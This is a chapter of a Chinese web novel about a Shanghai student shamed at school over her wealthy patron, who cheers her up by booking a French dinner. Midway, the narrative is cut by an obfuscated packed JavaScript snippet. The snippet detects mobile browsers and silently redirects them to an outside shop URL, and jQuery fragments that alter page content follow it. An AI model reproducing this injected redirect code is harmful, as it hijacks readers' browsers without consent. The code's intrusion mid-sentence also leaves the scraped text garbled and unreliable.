29.the way you look tonight
作品:《听经[民国]》 三月初,邵子骏搬出了薛公馆,但也没回家,住到了自己在法租界蒲石路的小公馆里。惹了这么大一场祸,他消停了好一阵子,谨遵薛莲山的嘱咐,把信得过的手下都从邵子驹那里联络过来。
三月中旬,圣约翰开学,金雪池也搬回了宿舍,大衣口袋里揣着宋妈偷偷塞的七十块。她做的第一件事就是连着跑了两趟,搬了自己和孙婕霓两人份的新教材。
密斯孙下午来的时候,看到自己的教材和正在做清洁的金雪池,眼珠转了转,一屁股坐在床边,掏出香水对着积灰几月的宿舍一顿喷,同时闲闲道:“你情人是薛莲山啊?”
金雪池没说话,起劲儿地用抹布擦椅面。孙婕霓又道:“你既然非要这个钱不可,那跟他很可以了,我之前还以为是个丑老头。You know what,他在相亲市场上非常抢手,上至三十多的下至十岁出头的都盯着呢。”
“他不是不结婚吗?”
“没错,不过女人都会这样有一种幻想——说不定他会为了我收心改性的。”孙婕霓瞥着她的神情,话锋一转,“不问问我还知道什么?”
“你还知道我见到许邦尧了。”
“Exactly。他那未婚妻怎么样?”
金雪池仔细想了想,“是个行事风格激进的人,如果我没猜错的话她可能养了大型犬......”
孙婕霓不耐烦道:“我问长得怎么样?”
“哦,”金雪池觑她一眼,学老实了,“还是你更好看些。”
“那他们关系如何?”
“......挺好的。”
“唉,”孙婕霓往床上一躺,两条胳膊来回划动,喃喃道,“我想也是,他一口就回绝我了,真是好男人。”
金雪池又观察出一点:孙婕霓本人有剑走偏锋的摩登感,但对于身边的各种观念,实则海纳百川。譬如许邦尧忠诚于包办婚姻,她视为一种美德;譬如自己在她眼中是个“被包养”的人,她居然也能接受。
但其余人就没有孙婕霓这么高的接受度了,她的丑闻在学校里不胫而走,路上碰到的每个人都要指着他,对同伴轻声道:“就是她......”
圣约翰是贵族学校,这里的女学生各个是掌上明珠、人中龙凤,谁也不可能住到外男家里去;金雪池如此不检点,自然变成了一件了不得的大新闻。男生的反应更为尤甚,在教室见到她,直接当面笑着问:“密斯金怎么还住校?走读不是更方便吗?”
一时从乡邻亲戚人人赞誉的“闺秀”掉到被同学议论是“情妇”的处境上,金雪池完全接受不了,每天最后一个到教室、第一个离开,也不去图书馆学习了,上完课直接回寝,避免和任何人接触。不得不去食堂吃饭时,把头埋地很低,行走坐卧皆是如芒在背、如鲠在喉。
她的情绪从来是沉滞的,没有爆发点,她没法大声哭泣、跺脚、砸东西,只是面无表情地该干嘛干嘛。金文彬的死沉沉压在心头,把她一颗轻盈柔软的心压瘪,变得没有弹性;薛莲山游戏似的态度是旷日持久的一场霪雨,绵绵下着,不打雷不闪电。
现在声名扫地,她也只是悄悄地崩溃掉了,具体表现为本就不高的行动力变得更低,躺在床上不想动,不想吃饭、不想学习。在孙婕霓看来,她简直跟没事人一样,睡眠质量还有提高呢。倘若心里在意,能睡得着吗?
王院长在走廊里碰到埋头一个劲儿走路的她,主动打了个招呼。她连忙抱着书鞠了一躬,“院长好。”
王院长直截了当道,“最近的流言蜚语我听到了,我教书多年,想告诉你的就是:物质上的小恩小惠兴许不算什么,但如果有人想资助你完成学业,这是大恩大德。薛先生很关心你。希望你用功读书,不要受影响。”
“谢谢、谢谢,我没有受影响。”
“嗯。”王院长露出一丝微笑,“我想也是。”
金雪池当真一点都不怪薛莲山,又不是他把她绑到家去的,是她自己答应的。对于两人之间的关系,她抱着一种破罐子破摔的心理,都挨了这么多骂了,还回避什么?
第一个月过去,薛莲山没有主动来找她,她就跑到公用电话亭给他打电话。电话接通,龚小姐让她稍等,董事长在会客厅见律师,她这就去叫他。
金雪池猜是和铃木社长在打官司,已经后悔来打扰他了。然而龚小姐已经走开,现在挂电话也不礼貌,只好硬着头皮等。五分钟后,薛莲山的声音在那头响起,“妹妹?”
“我不知道你在见客人,你去吧,我挂了。”
“不必。律师是按小时收咨询费的,让他等一等,不过是几个钱的问题。你却是第一次主动给我打电话。”他在那头语气轻快地说,“怎么了,遇到麻烦了?”
金雪池感到更难为情了,他默认她是遇到了麻烦才来找他,但她并没有具体的麻烦,就是想打个电话。“小事情,你还是先去忙吧。”
“你的事从不是小事。”
金雪池没想好怎么编出个小麻烦来麻烦他,握着听筒足足沉默了十秒钟。那边就轻轻地说:“心情不好吗?”
她长长吁出一口气,抬眼望天,湛湛苍天一碧无痕。道旁的草木在微风中摇晃,泥土的气息苦涩,行人三三两两说着话,由这一切细微之物构成的人世漂浮在她身周;而更高而远的地方,天空无声无息,澄如明镜,照着她,映着他。
这才叫——知我者,谓我心忧。
“不知道。”她想了想,又有点诉苦似地说,“就是觉得胸前很闷,饿了也不想吃东西。”
那边长长地“噢”了一声,“我明白了。但是我最近实在抽不开身,没法来找你——”
金雪池怕他到学校里来,赶忙道:“不,不用。”
“那么,根据我的经验,吃好吃的对你会有帮助。我想想......啊,南京东路上有家麦瑞饭店,你知道怎么坐车去吗?我待会儿打电话去订一桌,外后天晚上六点你直接去就行,报你自己的名字。可以把你的朋友一起带过去。”薛莲山说,“我有时候也这样,吃吃喝喝就会好的。”
“你有时候?”
“我也是个人嘛。”
“譬如现在?”
“现在倒还好。”
金雪池攥着听筒,神魂颠倒:有人要刺杀他,他手上又沾了几条外国人昂贵的命,这么大的事情,对他来说都还好!自己那点委屈对比起来简直不算什么。她真想成为他那样的人。
“那......谢谢你。你快去吧。”
“好,欢迎你随时给我打电话。”
挂上电话,金雪池一路往回走,感觉心境就在这几分钟的交流后不一样了。那么多对她指指点点的人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100223|192557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只会传别人的八卦,只会欺负女生,这会儿她不理睬他们,过去也没兴趣跟他们说话。只有薛莲山,他说的话她才在乎。他随便一句花言巧语,分量重过悠悠众口。
倘若他是个传统意义上的好男人,她甚至愿意公然搬到他家里去。但他若是个好男人,大概就不会这么了解女人、这么擅长取悦女人了,金雪池不会爱上他。
唉,她怅然地想,我也是贱,就吃这一套。
鉴于她并没有什么好朋友,又预感到薛莲山订的一桌肯定是分量超大的一桌,就邀请孙婕霓一起去。孙婕霓那天本来要跟朋友一起出去玩,很不耐烦地准备打断她,听说是“麦瑞饭店”,态度陡然一转,“Wait,南京东路那一家?”
“是的。”
“啊呀,那里吃饭超级贵,而且普通人很难订到位置,问就是满了。”孙婕霓啧啧道,“他对你怪好的。”
麦瑞总店是一栋三层欧式楼房,底层为玻璃橱窗,悬挂“Marcel”铜牌标识;入口处设有旋转木门,门楣上饰有铜制葡萄藤浮雕。一楼是西餐厅与西点展示柜,三层是厨房与员工宿舍,二楼是私人包间,穿燕尾服的侍者就把她们引导了其中的一间包厢里。
包厢的光线暗而柔和,像一首流淌的夜曲。头顶一盏小巧的水晶吊灯,壁上有一副印象派画作复制品,营造出一块私密的、典雅的法国。因为早就订好了菜,侍者并没有拿菜牌子来,只摆上餐具,朝她们一鞠躬,用法语说了句“用餐愉快”。
金雪池稍微有点窘,觉得自己不过是个女学生,有点被太庄重地对待了。倘若薛莲山在这里,那么她是心安理得的;现在他不在,她颇有狐假虎威之愧。孙婕霓倒是很兴奋,叽里咕噜地回了那侍者一句。
待人走了,金雪池问:“你说什么来的?”
“我说感谢他。”
“你还会说法语啊。”
“废话,我爸爸是外交官,我会五国语言。谁像你,讲国语都有口音。”
金雪池震撼了,“我有口音?我以为我说的很标准。”
孙婕霓翻了个白眼,模仿她道:“你说什么来的?”
金雪池没听出任何问题,心里很奇怪。她没意识到广东人的口癖就是“来的”“来的”。
这一顿法餐非常符合她的胃口。马赛鱼汤配烤蒜香面包,鲜香浓郁,红酒炖牛肉酥烂入味,普罗旺斯炖菜淋了橄榄油,是地中海风味。兴许是过去一直吃潮汕菜吃得腻了,来到上海后尝了西餐,就不太理解那些褒中餐贬西餐的评论家。她是千真万确的有个外国胃。
不像薛莲山,尽管生活中处处追求西化,在口味这方面她觉得他还是挺传统。
来时坐的洋车,孙婕霓提议坐公共汽车回去,慢悠悠的吹吹风。正是凉爽的好时节,晚高峰过了,车上也没什么人。她们因为吃得饱,都不爱坐,只是拉着吊环站着,孙婕霓摇头晃脑地唱起了一部歌舞片的插曲《The Way You Look Tonight》:“Lovely Never ever change/Keep that breathless charm/Won’t you please arrange it/''Cause I love you/Just the way you look tonight......”

